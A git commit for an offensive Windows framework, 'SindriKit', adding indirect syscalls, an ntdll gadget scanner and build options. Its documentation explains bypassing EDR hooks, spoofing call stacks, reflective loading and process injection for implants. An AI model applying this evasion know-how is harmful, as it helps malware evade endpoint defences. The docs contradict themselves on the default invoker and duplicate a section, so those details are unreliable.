Release v1.2.0: Indirect Syscalls & Pipeline Decoupling

- Implemented fully decoupled direct and indirect syscall invocation
- Added dynamic PEB-based gadget scanning (syscall; ret / sysenter)
- Added x86 & x64 inline MASM stubs with proper stack frame alignment
- Introduced SND_USE_DEFAULTS compile-time OpSec macro for lean payload compilation
- Extensive documentation across all primitives and examples
This commit is contained in:
sibouzitoun
2026-06-29 19:31:15 +01:00
parent f7d17fde33
commit b7d3cf717c
43 changed files with 727 additions and 173 deletions
+16
View File
@@ -6,6 +6,22 @@ The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.1.0/),
---
## [1.2.0] - 2026-06-29
Third major release. The framework introduces indirect syscalls and significantly improves the execution pipeline's flexibility and operator experience.
### Major Additions
- **Indirect Syscalls**: Architecture updated to decouple SSN resolution from invocation. Supports switching between direct and indirect syscall invocation dynamically.
- **Gadget Finder (`snd_syscall_find_gadget_scan`)**: Dynamically locates the `syscall; ret` (x64) or OS-transition instructions (x86) from the natively loaded `ntdll.dll` in the PEB to properly masquerade the call stack.
- **x86/x64 Support**: Full indirect syscall assembly stubs for both architectures (`invoke_indirect_x64.asm`, `invoke_indirect_x86.asm`), including proper stack frame alignment and teardown.
### Architecture & Refactoring
- **Compile-Time Defaults (`SND_USE_DEFAULTS`)**: Added a CMake flag to pre-configure the pipeline's globals (invoker, gadget finder, and primary resolver). Implemented as a macro for OpSec to prevent linking unused scanner/ASM dependencies when disabled.
- **Pipeline Overhaul**: Replaced `snd_syscall_strategy_set` terminology with `snd_syscall_set_resolver` and added `snd_syscall_set_invoker` / `snd_syscall_set_gadget_finder` to manage the decoupled execution flow.
- **Documentation**: Extensive documentation overhaul across all primitives, examples, PoCs, and architecture files to reflect the new pipeline structure and OpSec considerations.
---
## [1.1.0] - 2026-06-26
Second major release. The framework grows from a reflective-loader-centric engine into a multi-domain toolkit with expanded primitives, reorganized headers, and comprehensive documentation.
+8 -2
View File
@@ -8,6 +8,7 @@ option(SND_BUILD_PAYLOADS "Build bundled PoC loaders" OFF)
option(SND_BUILD_TESTS "Build test binaries (DLLs and EXEs)" OFF)
option(SND_CRTLESS "Build the framework for pure CRT-less operation" OFF)
option(SND_RANDOMIZE_SEED "Use randomized seed for compile-time hashes" OFF)
option(SND_USE_DEFAULTS "Use sensible defaults for configuration globals" OFF)
# --- Configuration Guards ---
if(SND_CRTLESS)
@@ -29,11 +30,11 @@ endif()
# --- Architecture-specific assembly ---
if(CMAKE_SIZEOF_VOID_P EQUAL 8)
set(SYSCALL_ASM src/primitives/execution/syscalls/asm/invoke_x64.asm)
set(SYSCALL_ASM src/primitives/execution/syscalls/asm/invoke_direct_x64.asm src/primitives/execution/syscalls/asm/invoke_indirect_x64.asm)
set(EXECUTION_ASM src/primitives/execution/ffi/asm/ffi_x64.asm)
set(HEAVENSGATE_ASM "")
else()
set(SYSCALL_ASM src/primitives/execution/syscalls/asm/invoke_x86.asm)
set(SYSCALL_ASM src/primitives/execution/syscalls/asm/invoke_direct_x86.asm src/primitives/execution/syscalls/asm/invoke_indirect_x86.asm)
set(EXECUTION_ASM src/primitives/execution/ffi/asm/ffi_x86.asm)
set(HEAVENSGATE_ASM src/primitives/execution/heavens_gate/asm/heavens_gate_x86.asm)
endif()
@@ -110,6 +111,7 @@ add_library(sindri_engine STATIC
src/primitives/execution/syscalls/syscalls.c
src/primitives/execution/syscalls/syscalls_scan.c
src/primitives/execution/syscalls/syscalls_sort.c
src/primitives/execution/syscalls/gadget_scan.c
# Assembly & generated
${SYSCALL_ASM}
@@ -157,6 +159,10 @@ target_compile_definitions(sindri_engine PUBLIC
SND_HASH_${SND_HASH_ALGO}=1
)
if(SND_USE_DEFAULTS)
target_compile_definitions(sindri_engine PUBLIC SND_USE_DEFAULTS=1)
endif()
# --- Compiler warnings ---
if(MSVC)
target_compile_options(sindri_engine PRIVATE
+17 -4
View File
@@ -105,10 +105,16 @@ SindriKit treats syscall resolution as an injectable mechanic, stacking strategi
```c
snd_syscall_set_ntdll(clean_ntdll);
snd_syscall_strategy_set(snd_syscall_resolve_ssn_scan);
snd_syscall_strategy_add(snd_syscall_resolve_ssn_sort);
snd_syscall_set_resolver(snd_syscall_resolve_ssn_scan);
snd_syscall_add_resolver(snd_syscall_resolve_ssn_sort);
snd_syscall_set_invoker(snd_syscall_direct_invoke_asm);
// or for indirect syscalls:
// snd_syscall_set_invoker(snd_syscall_indirect_invoke_asm);
// snd_syscall_set_gadget_finder(snd_syscall_find_gadget_scan);
```
The invoker is decoupled from SSN resolution — switch between direct and indirect syscalls without modifying domain code. Indirect invocation jumps to a legitimate NTDLL gadget, keeping the syscall return address within `ntdll.dll`.
### Compile-Time Algorithm Agility
Every API name and module string is removed from the final binary at compile time via a single CMake variable:
@@ -147,10 +153,16 @@ Bootstrap the syscall pipeline once (typical pattern):
PVOID clean_ntdll = NULL;
snd_om_knowndll_map(&snd_map_nt, L"ntdll.dll", &clean_ntdll);
snd_syscall_set_ntdll(clean_ntdll);
snd_syscall_strategy_set(snd_syscall_resolve_ssn_scan);
snd_syscall_strategy_add(snd_syscall_resolve_ssn_sort);
snd_syscall_set_resolver(snd_syscall_resolve_ssn_scan);
snd_syscall_add_resolver(snd_syscall_resolve_ssn_sort);
snd_syscall_set_invoker(snd_syscall_direct_invoke_asm);
// or for indirect syscalls:
// snd_syscall_set_invoker(snd_syscall_indirect_invoke_asm);
// snd_syscall_set_gadget_finder(snd_syscall_find_gadget_scan);
```
The invoker is decoupled from SSN resolution — switch between direct and indirect syscalls without modifying domain code. Indirect invocation jumps to a legitimate NTDLL gadget, keeping the syscall return address within `ntdll.dll`.
Swap execution profile with one assignment:
```c
@@ -177,6 +189,7 @@ The standard deployment configuration for operational binaries. Every diagnostic
set(SND_ENABLE_DEBUG OFF CACHE BOOL "")
set(SND_BUILD_PAYLOADS OFF CACHE BOOL "")
set(SND_RANDOMIZE_SEED ON CACHE BOOL "")
set(SND_USE_DEFAULTS ON CACHE BOOL "")
set(SND_HASH_ALGO "DJB2" CACHE STRING "")
add_subdirectory(vendor/SindriKit)
target_link_libraries(my_tool PRIVATE sindri::engine)
+8 -2
View File
@@ -1,7 +1,7 @@
@echo off
setlocal
set CMAKE_FLAGS=-DSND_ENABLE_DEBUG=OFF
set CMAKE_FLAGS=-DSND_ENABLE_DEBUG=OFF -DSND_USE_PRINTF=OFF -DSND_BUILD_TESTS=OFF -DSND_BUILD_PAYLOADS=OFF -DSND_CRTLESS=OFF -DSND_RANDOMIZE_SEED=OFF -DSND_USE_DEFAULTS=OFF
set BUILD_TIER=SILENT
set BUILD_OUTPUT=DEBUGGER
set HASH_ALGO=DJB2
@@ -10,6 +10,7 @@ set BUILD_POCS=OFF
set BUILD_CRTLESS=OFF
set CLEAN_BUILD=OFF
set RANDOMIZE=OFF
set USE_DEFAULTS=OFF
:parse_args
if "%~1"=="" goto :done_args
@@ -42,10 +43,13 @@ if /I "%~1"=="debug" (
) else if /I "%~1"=="random" (
set CMAKE_FLAGS=%CMAKE_FLAGS% -DSND_RANDOMIZE_SEED=ON
set RANDOMIZE=ON
) else if /I "%~1"=="defaults" (
set CMAKE_FLAGS=%CMAKE_FLAGS% -DSND_USE_DEFAULTS=ON
set USE_DEFAULTS=ON
) else (
echo [!] Unknown argument: %~1
echo.
echo Usage: build.bat [debug] [console] [djb2^|fnv1a] [tests] [pocs] [crtless] [clean] [random]
echo Usage: build.bat [debug] [console] [djb2^|fnv1a] [tests] [pocs] [crtless] [clean] [random] [defaults]
echo.
echo debug Enable debug prints ^(default: silent^)
echo console Use printf output ^(default: OutputDebugString^)
@@ -56,6 +60,7 @@ if /I "%~1"=="debug" (
echo crtless Build CRT-less
echo clean Delete build dirs before compiling
echo random Use randomized seed for compile-time hashes
echo defaults Use sensible defaults for configuration globals
exit /b 1
)
shift
@@ -72,6 +77,7 @@ echo [*] Tests : %BUILD_TESTS%
echo [*] PoCs : %BUILD_POCS%
echo [*] CRTless : %BUILD_CRTLESS%
echo [*] Random : %RANDOMIZE%
echo [*] Defaults: %USE_DEFAULTS%
echo.
if "%CLEAN_BUILD%"=="ON" (
+8 -3
View File
@@ -76,7 +76,7 @@ There is **no** `snd_mod_sys`. Import resolution during reflective load uses PEB
|---|---|---|
| `_win` | Documented Win32 APIs | memory, modules, mapping, process |
| `_nt` | NT function pointers resolved via PEB walk + EAT parse | memory, modules, mapping, process |
| `_sys` | Direct syscalls (`snd_syscall_invoke_asm`) | memory, mapping, process — **not** modules |
| `_sys` | Direct or indirect syscalls (configurable invoker) | memory, mapping, process — **not** modules |
### OpSec profile examples
@@ -99,8 +99,13 @@ PVOID ntdll = NULL;
snd_om_knowndll_map(&snd_map_nt, L"ntdll.dll", &ntdll); // or disk / PEB
snd_syscall_set_ntdll(ntdll);
snd_syscall_strategy_set(snd_syscall_resolve_ssn_scan);
snd_syscall_strategy_add(snd_syscall_resolve_ssn_sort);
snd_syscall_set_resolver(snd_syscall_resolve_ssn_scan);
snd_syscall_add_resolver(snd_syscall_resolve_ssn_sort);
snd_syscall_set_invoker(snd_syscall_direct_invoke_asm);
// or for indirect syscalls:
// snd_syscall_set_invoker(snd_syscall_indirect_invoke_asm);
// snd_syscall_set_gadget_finder(snd_syscall_find_gadget_scan);
```
This is **global execution state**, not part of any DI table. Implant init code runs it once; all `_sys` tables benefit.
+7 -2
View File
@@ -47,8 +47,13 @@ static snd_status_t bootstrap_engine(void) {
return status;
snd_syscall_set_ntdll(ntdll);
snd_syscall_strategy_set(snd_syscall_resolve_ssn_scan);
snd_syscall_strategy_add(snd_syscall_resolve_ssn_sort);
snd_syscall_set_resolver(snd_syscall_resolve_ssn_scan);
snd_syscall_add_resolver(snd_syscall_resolve_ssn_sort);
snd_syscall_set_invoker(snd_syscall_direct_invoke_asm);
// or for indirect syscalls:
// snd_syscall_set_invoker(snd_syscall_indirect_invoke_asm);
// snd_syscall_set_gadget_finder(snd_syscall_find_gadget_scan);
return SND_OK;
}
+9 -9
View File
@@ -10,19 +10,19 @@ The former monolithic `helpers.h` and `nt_defs.h` were split for clarity:
```
include/sindri/common/
├── macros.h compiler / linkage macros (was part of helpers)
├── memory.h bounds + memzero/memcpy + SND_PTR_ADD
├── string.h ASCII + wide string helpers (new wide APIs)
├── buffer.h tracked buffers
├── macros.h <- compiler / linkage macros (was part of helpers)
├── memory.h <- bounds + memzero/memcpy + SND_PTR_ADD
├── string.h <- ASCII + wide string helpers (new wide APIs)
├── buffer.h <- tracked buffers
├── hash.h
├── status.h
├── debug.h debug macros (was mixed into helpers)
├── debug.h <- debug macros (was mixed into helpers)
└── disk.h
include/sindri/internal/nt/ was sindri/internal/nt_defs.h
├── types.h NT structs, SND_PAGE_SIZE, unicode init
├── api.h Nt* typedefs
└── peb.h PEB / LDR layouts
include/sindri/internal/nt/ <- was sindri/internal/nt_defs.h
├── types.h <- NT structs, SND_PAGE_SIZE, unicode init
├── api.h <- Nt* typedefs
└── peb.h <- PEB / LDR layouts
```
---
+3 -3
View File
@@ -10,10 +10,10 @@ Each technique adds engine functions and chains under a subdirectory but mutates
```
include/sindri/injection/
├── context.h shared across ALL techniques
├── context.h <- shared across ALL techniques
└── classic/
├── engine.h per-stage classic engine
└── chain.h snd_inj_classic_shell, snd_inj_classic_pe
├── engine.h <- per-stage classic engine
└── chain.h <- snd_inj_classic_shell, snd_inj_classic_pe
```
Loader contexts are **per-technique** (`snd_ldr_pe_ctx_t` today).
+1 -1
View File
@@ -100,7 +100,7 @@ The PE chain deliberately interleaves loader and injection stages so relocations
| 1 | Loader | `snd_pe_parse(ldr_ctx->raw_source, FALSE, &ldr_ctx->pe)``SND_STAGE_PARSED` |
| 2 | Loader | `snd_ldr_pe_compatibility_check` |
| 3 | Loader | `snd_ldr_pe_allocate_and_copy_image` — local RW mapping |
| 4 | Injection | `inj_ctx->payload` local mapped buffer (`local_base`, `allocated_size`) |
| 4 | Injection | `inj_ctx->payload` <- local mapped buffer (`local_base`, `allocated_size`) |
| 5 | Injection | `snd_inj_classic_open_target` |
| 6 | Injection | `snd_inj_classic_alloc_remote` — remote RW region sized to `allocated_size` |
| 7 | Loader | `ldr_ctx->target.execution_base = inj_ctx->remote_base` |
+2 -2
View File
@@ -57,8 +57,8 @@ Loaders and injection PoCs use KnownDlls to bootstrap clean `ntdll` for syscall
```
include/sindri/loaders/
├── reflective/ implemented (snd_ldr_pe_ctx_t)
└── <technique>/ future, technique-specific context + engine + chain
├── reflective/ <- implemented (snd_ldr_pe_ctx_t)
└── <technique>/ <- future, technique-specific context + engine + chain
```
Each technique owns its context struct, stage enum, engine functions, and chain orchestrator.
+6 -2
View File
@@ -169,8 +169,12 @@ Typical sequence before `snd_mem_sys` / `snd_proc_sys`:
PVOID clean_ntdll = NULL;
snd_om_knowndll_map(&snd_map_nt, L"ntdll.dll", &clean_ntdll);
snd_syscall_set_ntdll(clean_ntdll);
snd_syscall_strategy_set(snd_syscall_resolve_ssn_scan);
snd_syscall_strategy_add(snd_syscall_resolve_ssn_sort);
snd_syscall_set_resolver(snd_syscall_resolve_ssn_scan);
snd_syscall_add_resolver(snd_syscall_resolve_ssn_sort);
snd_syscall_set_invoker(snd_syscall_direct_invoke_asm);
// or for indirect syscalls:
// snd_syscall_set_invoker(snd_syscall_indirect_invoke_asm);
// snd_syscall_set_gadget_finder(snd_syscall_find_gadget_scan);
```
---
+1 -1
View File
@@ -13,7 +13,7 @@ Foundation layer for SindriKit. Loaders, injection, and future domains rely on i
| [modules/](modules/) | `snd_mod_win`, `snd_mod_nt` (no `_sys`) |
| [mapping/](mapping/) | `snd_map_win`, `snd_map_nt`, `snd_map_sys`, KnownDlls |
| [process/](process/) | `snd_proc_win`, `snd_proc_nt`, `snd_proc_sys` |
| [syscalls/](syscalls/) | SSN resolution pipeline, `snd_syscall_invoke_asm` |
| [syscalls/](syscalls/) | SSN resolution pipeline, configurable invoker (direct / indirect) |
| [execution/](execution/) | FFI (`snd_ffi_execute`), Heaven's Gate |
Contract definitions: `include/sindri/primitives/os_api.h`
+15 -12
View File
@@ -8,7 +8,7 @@ Low-level mechanisms for **calling unknown function signatures**, **crossing WoW
|---|---|
| `sindri/primitives/ffi.h` | `snd_ffi_execute` — dynamic call bridge for resolved exports |
| `sindri/primitives/heavens_gate.h` | `snd_is_wow64`, `snd_hg_execute_64` — WoW64 → native x64 |
| `sindri/primitives/syscalls.h` | SSN resolution pipeline + `snd_syscall_invoke_asm` (documented under [syscalls/](../syscalls/)) |
| `sindri/primitives/syscalls.h` | SSN resolution pipeline + `snd_syscall_direct_invoke_asm` / `snd_syscall_indirect_invoke_asm` (documented under [syscalls/](../syscalls/)) |
All three are pulled in by `include/sindri/primitives.h` and `include/sindri.h`.
@@ -19,21 +19,24 @@ Implementation lives under `src/primitives/execution/`:
```
src/primitives/execution/
├── ffi/
│ ├── ffi_invoke.c snd_ffi_execute validation + dispatch
│ ├── ffi_invoke.c <- snd_ffi_execute validation + dispatch
│ └── asm/
│ ├── ffi_x64.asm snd_ffi_bridge_x64
│ └── ffi_x86.asm snd_ffi_bridge_x86
│ ├── ffi_x64.asm <- snd_ffi_bridge_x64
│ └── ffi_x86.asm <- snd_ffi_bridge_x86
├── heavens_gate/
│ ├── heavens_gate.c WoW64 detection + argument padding
│ ├── heavens_gate.c <- WoW64 detection + argument padding
│ └── asm/
│ └── heavens_gate_x86.asm snd_hg_invoke_x86 (CS 0x33 transition)
│ └── heavens_gate_x86.asm <- snd_hg_invoke_x86 (CS 0x33 transition)
└── syscalls/
├── syscalls.c strategy chain, snd_syscall_resolve
├── syscalls_scan.c snd_syscall_resolve_ssn_scan
├── syscalls_sort.c snd_syscall_resolve_ssn_sort
├── syscalls.c <- strategy chain, snd_syscall_resolve
├── syscalls_scan.c <- snd_syscall_resolve_ssn_scan
├── syscalls_sort.c <- snd_syscall_resolve_ssn_sort
├── gadget_scan.c <- snd_syscall_find_gadget_scan
└── asm/
├── invoke_x64.asm snd_syscall_invoke_asm (x64)
── invoke_x86.asm snd_syscall_invoke_asm (x86)
├── invoke_direct_x64.asm <- snd_syscall_direct_invoke_asm (x64)
── invoke_direct_x86.asm <- snd_syscall_direct_invoke_asm (x86)
├── invoke_indirect_x64.asm <- snd_syscall_indirect_invoke_asm (x64)
└── invoke_indirect_x86.asm <- snd_syscall_indirect_invoke_asm (x86)
```
Syscall resolution and invocation are documented in the dedicated [syscalls](../syscalls/) subtree; this directory focuses on FFI and Heaven's Gate.
@@ -56,6 +59,6 @@ DllMain, TLS, and EXE entry use **typed direct calls** inside `snd_ldr_pe_execut
## Related documentation
- [Syscalls domain](../syscalls/README.md) — SSN engines, bootstrap, `snd_syscall_invoke_asm`
- [Syscalls domain](../syscalls/README.md) — SSN engines, bootstrap, `snd_syscall_direct_invoke_asm` / `snd_syscall_indirect_invoke_asm`
- [Loaders: DLL export FFI](../../loaders/techniques.md)
- [PoC: heavens_gate](../../../examples/heavens_gate.md)
@@ -2,7 +2,7 @@
Public headers: `include/sindri/primitives/ffi.h`, `include/sindri/primitives/heavens_gate.h`.
For the syscall surface (`snd_syscall_resolve`, `snd_syscall_invoke_asm`, strategy pipeline), see [syscalls/api_reference.md](../syscalls/api_reference.md).
For the syscall surface (`snd_syscall_resolve`, `snd_syscall_direct_invoke_asm`, `snd_syscall_indirect_invoke_asm`, strategy pipeline), see [syscalls/api_reference.md](../syscalls/api_reference.md).
---
@@ -93,6 +93,7 @@ snd_status_t snd_hg_execute_64(
| `snd_ffi_bridge_x64` | `ffi/asm/ffi_x64.asm` | x64 fast-call + shadow space |
| `snd_ffi_bridge_x86` | `ffi/asm/ffi_x86.asm` | Reverse-order stack push, ESP restore |
| `snd_hg_invoke_x86` | `heavens_gate/asm/heavens_gate_x86.asm` | Far return to CS `0x33`, x64 call |
| `snd_syscall_invoke_asm` | `syscalls/asm/invoke_x64.asm` or `invoke_x86.asm` (arch-selected) | Direct `syscall` instruction stub |
| `snd_syscall_direct_invoke_asm` | `syscalls/asm/invoke_direct_x64.asm` or `invoke_direct_x86.asm` | Direct `syscall` / `sysenter` instruction stub |
| `snd_syscall_indirect_invoke_asm` | `syscalls/asm/invoke_indirect_x64.asm` or `invoke_indirect_x86.asm` | Indirect syscall via NTDLL gadget |
These are linked into `sindri::engine`; callers use the C wrappers above.
@@ -41,7 +41,7 @@ The `snd_map_sys` implementation invokes `NtOpenSection`, `NtMapViewOfSection`,
Direct syscalls bypass userland EDR hooks placed inside `ntdll.dll` stubs. This is the preferred backend for stealth KnownDlls mapping once the syscall pipeline is bootstrapped.
> [!WARNING]
> `snd_map_sys` requires the operator to configure the syscall pipeline (`snd_syscall_set_ntdll`, `snd_syscall_strategy_set`, `snd_syscall_strategy_add`) before invocation. Unconfigured pipelines cause immediate resolution failures.
> `snd_map_sys` requires the operator to configure the syscall pipeline (`snd_syscall_set_ntdll`, `snd_syscall_set_resolver`, `snd_syscall_set_invoker`) before invocation. Unconfigured pipelines cause immediate resolution failures.
## KnownDlls Bootstrapping
@@ -56,8 +56,12 @@ if (SND_FAILED(status)) {
// Feed the mapped image into the syscall pipeline
snd_syscall_set_ntdll(clean_ntdll);
snd_syscall_strategy_set(snd_syscall_resolve_ssn_scan);
snd_syscall_strategy_add(snd_syscall_resolve_ssn_sort);
snd_syscall_set_resolver(snd_syscall_resolve_ssn_scan);
snd_syscall_add_resolver(snd_syscall_resolve_ssn_sort);
snd_syscall_set_invoker(snd_syscall_direct_invoke_asm);
// or for indirect syscalls:
// snd_syscall_set_invoker(snd_syscall_indirect_invoke_asm);
// snd_syscall_set_gadget_finder(snd_syscall_find_gadget_scan);
```
The helper builds the full Object Manager path (`SND_TARGET_KNOWNDLLS_DIR` + DLL name), calls `open` and `view`, then closes the section handle. The mapped view remains valid after the handle is closed.
+7 -3
View File
@@ -45,12 +45,16 @@ Direct syscalls bypass userland EDR hooks inside `ntdll.dll` stubs. The kernel r
> [!WARNING]
> `snd_mem_sys` requires the operator to bootstrap the syscall pipeline before invocation:
>
> ```c
> snd_syscall_set_ntdll(clean_ntdll_base);
> snd_syscall_strategy_set(snd_syscall_resolve_ssn_scan);
> snd_syscall_strategy_add(snd_syscall_resolve_ssn_sort);
> snd_syscall_set_resolver(snd_syscall_resolve_ssn_scan);
> snd_syscall_add_resolver(snd_syscall_resolve_ssn_sort);
> snd_syscall_set_invoker(snd_syscall_direct_invoke_asm);
> // or for indirect syscalls:
> // snd_syscall_set_invoker(snd_syscall_indirect_invoke_asm);
> // snd_syscall_set_gadget_finder(snd_syscall_find_gadget_scan);
> ```
>
> If the pipeline is not configured, syscall resolution fails immediately and all `_sys` memory calls return an error.
## Mixing Backends
@@ -45,7 +45,7 @@ Remote thread creation uses `NtCreateThreadEx` with the same access mask (`0x1FF
Direct syscalls bypass userland EDR hooks on `ntdll.dll` stubs. This is the preferred backend for stealth injection profiles.
> [!WARNING]
> `snd_proc_sys` requires a bootstrapped syscall pipeline (`snd_syscall_set_ntdll`, `snd_syscall_strategy_set`, `snd_syscall_strategy_add`) before any `_sys` process call. See the [Syscall Primitives](../syscalls/README.md) documentation.
> `snd_proc_sys` requires a bootstrapped syscall pipeline (`snd_syscall_set_ntdll`, `snd_syscall_set_resolver`, `snd_syscall_set_invoker`) before any `_sys` process call. See the [Syscall Primitives](../syscalls/README.md) documentation.
## Injection Integration
+38 -7
View File
@@ -1,12 +1,12 @@
# Syscall Primitives
Direct syscall invocation bypasses hooked `ntdll.dll` stubs by resolving System Service Numbers (SSNs) and executing the `syscall` instruction from custom ASM stubs.
Direct and indirect syscall invocation bypasses hooked `ntdll.dll` stubs by resolving System Service Numbers (SSNs) and executing the `syscall` instruction from custom ASM stubs — either inline (direct) or by jumping to a legitimate NTDLL gadget (indirect).
**Header:** `include/sindri/primitives/syscalls.h`
**Implementation:** `src/primitives/execution/syscalls/`
> [!WARNING]
> **Bootstrap required:** Call `snd_syscall_set_ntdll()` and configure at least one strategy via `snd_syscall_strategy_set()` before `snd_syscall_resolve()`. `_sys` memory/process/mapping backends depend on this pipeline.
> **Bootstrap required:** Call `snd_syscall_set_ntdll()`, configure at least one strategy via `snd_syscall_set_resolver()`, and configure the invoker via `snd_syscall_set_invoker()` before `snd_syscall_resolve()`. For indirect invocation, also set a gadget finder via `snd_syscall_set_gadget_finder()`. With `SND_USE_DEFAULTS=ON`, only `snd_syscall_set_ntdll()` is required — the resolver, invoker, and gadget finder are pre-configured at compile time. `_sys` memory/process/mapping backends depend on this pipeline.
## How `_sys` primitives use syscalls
@@ -14,10 +14,18 @@ Direct syscall invocation bypasses hooked `ntdll.dll` stubs by resolving System
snd_mem_sys / snd_proc_sys / snd_map_sys
snd_syscall_resolve(func_hash) cascading strategy chain
snd_syscall_resolve(func_hash) <- cascading strategy chain
snd_syscall_invoke_asm(&args) ← x64/x86 ASM stub
(gadget finder, if indirect) <- locates syscall/sysenter gadget in NTDLL
g_syscall_invoker(&args) <- dispatches to configured ASM stub
┌───┴───────────────────┐
▼ ▼
snd_syscall_direct_ snd_syscall_indirect_
invoke_asm invoke_asm
```
Function hashes come from `sindri_hashes.h` (build-generated, e.g. `SND_HASH_NTALLOCATEVIRTUALMEMORY`).
@@ -29,15 +37,38 @@ Function hashes come from `sindri_hashes.h` (build-generated, e.g. `SND_HASH_NTA
| `snd_syscall_resolve_ssn_scan` | `syscalls_scan.c` | Read SSN from stub bytes; neighbor scan if hooked |
| `snd_syscall_resolve_ssn_sort` | `syscalls_sort.c` | Build sorted `Zw*` export table; index = SSN |
Typical registration — scan first, sort as fallback:
Typical registration:
```c
snd_syscall_strategy_set(snd_syscall_resolve_ssn_scan);
snd_syscall_strategy_add(snd_syscall_resolve_ssn_sort);
snd_syscall_set_resolver(snd_syscall_resolve_ssn_scan);
snd_syscall_add_resolver(snd_syscall_resolve_ssn_sort);
snd_syscall_set_invoker(snd_syscall_direct_invoke_asm);
// or for indirect:
// snd_syscall_set_invoker(snd_syscall_indirect_invoke_asm);
// snd_syscall_set_gadget_finder(snd_syscall_find_gadget_scan);
```
Custom resolvers matching `snd_syscall_resolver_t` can be added to the chain (max 4 strategies).
## Invocation modes
| Function | File | Description |
|---|---|---|
| `snd_syscall_direct_invoke_asm` | `invoke_direct_x64.asm` / `invoke_direct_x86.asm` | Executes `syscall`/`sysenter` inline |
| `snd_syscall_indirect_invoke_asm` | `invoke_indirect_x64.asm` / `invoke_indirect_x86.asm` | Jumps to a legitimate NTDLL gadget |
> [!NOTE]
> Build with `SND_USE_DEFAULTS=ON` to pre-configure the invoker (`snd_syscall_direct_invoke_asm`), gadget finder (`snd_syscall_find_gadget_scan`), and primary resolver (`snd_syscall_resolve_ssn_scan`) at compile time. Only `snd_syscall_set_ntdll()` is then needed at runtime.
## Invocation modes
| Function | File | Description |
|---|---|---|
| `snd_syscall_direct_invoke_asm` | `invoke_direct_x64.asm` / `invoke_direct_x86.asm` | Executes `syscall`/`sysenter` inline |
| `snd_syscall_indirect_invoke_asm` | `invoke_indirect_x64.asm` / `invoke_indirect_x86.asm` | Jumps to a legitimate NTDLL gadget |
> **Note on `SND_USE_DEFAULTS`**: When enabled, the framework pre-configures the invoker (indirect), gadget finder, and primary resolver automatically.
## Table of Contents
- [pipeline.md](pipeline.md) — lifecycle from bootstrap to kernel transition
@@ -24,18 +24,23 @@ Internal pipeline depth: **4 strategies** (`SND_MAX_INTERNAL_STRATEGIES` in `sys
| `pAddress` | `PVOID` | Stub address (populated by scan resolver) |
| `dwHash` | `DWORD` | Target function hash |
| `wSystemCall` | `WORD` | Resolved SSN |
| `pSyscallAddr` | `PVOID` | Gadget address for indirect invocation (populated by gadget finder) |
> [!NOTE]
> The sort resolver sets `wSystemCall` only. `_sys` backends use `entry.wSystemCall` for invocation.
### `snd_syscall_args_t`
Arguments for `snd_syscall_invoke_asm`. On x64, `arg1` is moved to `R10` per the syscall convention; `arg2``arg4` use `RDX`/`R8`/`R9`; `arg5``arg11` are stack arguments.
Arguments for the syscall invoker (`snd_syscall_direct_invoke_asm` or `snd_syscall_indirect_invoke_asm`). On x64, `arg1` is moved to `R10` per the syscall convention; `arg2``arg4` use `RDX`/`R8`/`R9`; `arg5``arg11` are stack arguments.
| Field | Type | Description |
|---|---|---|
| `ssn` | `WORD` | SSN placed in `EAX`/`RAX` |
| `arg1``arg11` | `PVOID` | Syscall arguments |
| `sys_addr` | `PVOID` | Gadget address for indirect invocation; ignored by direct stub |
> [!NOTE]
> `sys_addr` is placed at the end of the struct to preserve memory offsets for args 1-11, ensuring backward compatibility with existing ASM stubs.
---
@@ -51,27 +56,27 @@ typedef snd_status_t (*snd_syscall_resolver_t)(
);
```
### `snd_syscall_strategy_set`
### `snd_syscall_set_resolver`
Sets the **primary** strategy and **resets** the chain to a single entry.
```c
void snd_syscall_strategy_set(snd_syscall_resolver_t resolver);
void snd_syscall_set_resolver(snd_syscall_resolver_t resolver);
```
**Returns:** `void`
---
### `snd_syscall_strategy_add`
### `snd_syscall_add_resolver`
Appends a fallback strategy. Evaluated in registration order after the primary.
```c
snd_status_t snd_syscall_strategy_add(snd_syscall_resolver_t resolver);
snd_status_t snd_syscall_add_resolver(snd_syscall_resolver_t resolver);
```
**Returns:** `SND_OK`, `SND_STATUS_INVALID_PARAMETER`, `SND_STATUS_BUFFER_TOO_SMALL` (chain full)
**Returns:** `SND_OK`, `SND_STATUS_INVALID_PARAMETER`, `SND_STATUS_PIPELINE_EXHAUSTED` (chain full)
---
@@ -117,6 +122,34 @@ snd_status_t snd_syscall_resolve_ssn_sort(
---
### `snd_syscall_set_invoker`
Sets the global syscall invoker function pointer.
```c
void snd_syscall_set_invoker(snd_syscall_invoker_t invoker);
```
Built-in options: `snd_syscall_direct_invoke_asm`, `snd_syscall_indirect_invoke_asm`.
**Source:** `src/primitives/execution/syscalls/syscalls.c`
---
### `snd_syscall_set_gadget_finder`
Sets the global gadget finder function pointer. Only required when using indirect invocation.
```c
void snd_syscall_set_gadget_finder(snd_syscall_gadget_finder_t finder);
```
Built-in: `snd_syscall_find_gadget_scan`.
**Source:** `src/primitives/execution/syscalls/syscalls.c`
---
## Resolution & Execution
### `snd_syscall_resolve`
@@ -131,26 +164,57 @@ snd_status_t snd_syscall_resolve(DWORD func_hash, snd_syscall_entry_t *entry_out
---
### `snd_syscall_invoke_asm`
### `snd_syscall_direct_invoke_asm`
Architecture-specific ASM stub (`invoke_x64.asm` / `invoke_x86.asm`).
Architecture-specific ASM stub (`invoke_direct_x64.asm` / `invoke_direct_x86.asm`). Executes the `syscall` / `sysenter` / `int 2Eh` instruction inline.
```c
extern NTSTATUS snd_syscall_invoke_asm(snd_syscall_args_t *args);
extern NTSTATUS snd_syscall_direct_invoke_asm(snd_syscall_args_t *args);
```
**Returns:** raw `NTSTATUS` from the kernel
---
### `snd_syscall_indirect_invoke_asm`
Architecture-specific ASM stub (`invoke_indirect_x64.asm` / `invoke_indirect_x86.asm`). Jumps to a legitimate `syscall; ret` gadget inside NTDLL. Requires `sys_addr` to be populated (via `snd_syscall_find_gadget_scan` or a custom gadget finder).
```c
extern NTSTATUS snd_syscall_indirect_invoke_asm(snd_syscall_args_t *args);
```
**Returns:** raw `NTSTATUS`, or `STATUS_INVALID_PARAMETER` (`0xC000000D`) if `sys_addr` is NULL
---
## Compile-Time Defaults (`SND_USE_DEFAULTS`)
| Macro | Default value (when enabled) |
|---|---|
| `SND_SYSCALL_INVOKER_DEFAULT` | `snd_syscall_indirect_invoke_asm` |
| `SND_SYSCALL_GADGET_FINDER_DEFAULT` | `snd_syscall_find_gadget_scan` |
| `SND_SYSCALL_RESOLVER_DEFAULT` | `snd_syscall_resolve_ssn_scan` |
When `SND_USE_DEFAULTS` is disabled (default), all three macros expand to `NULL`.
> [!TIP]
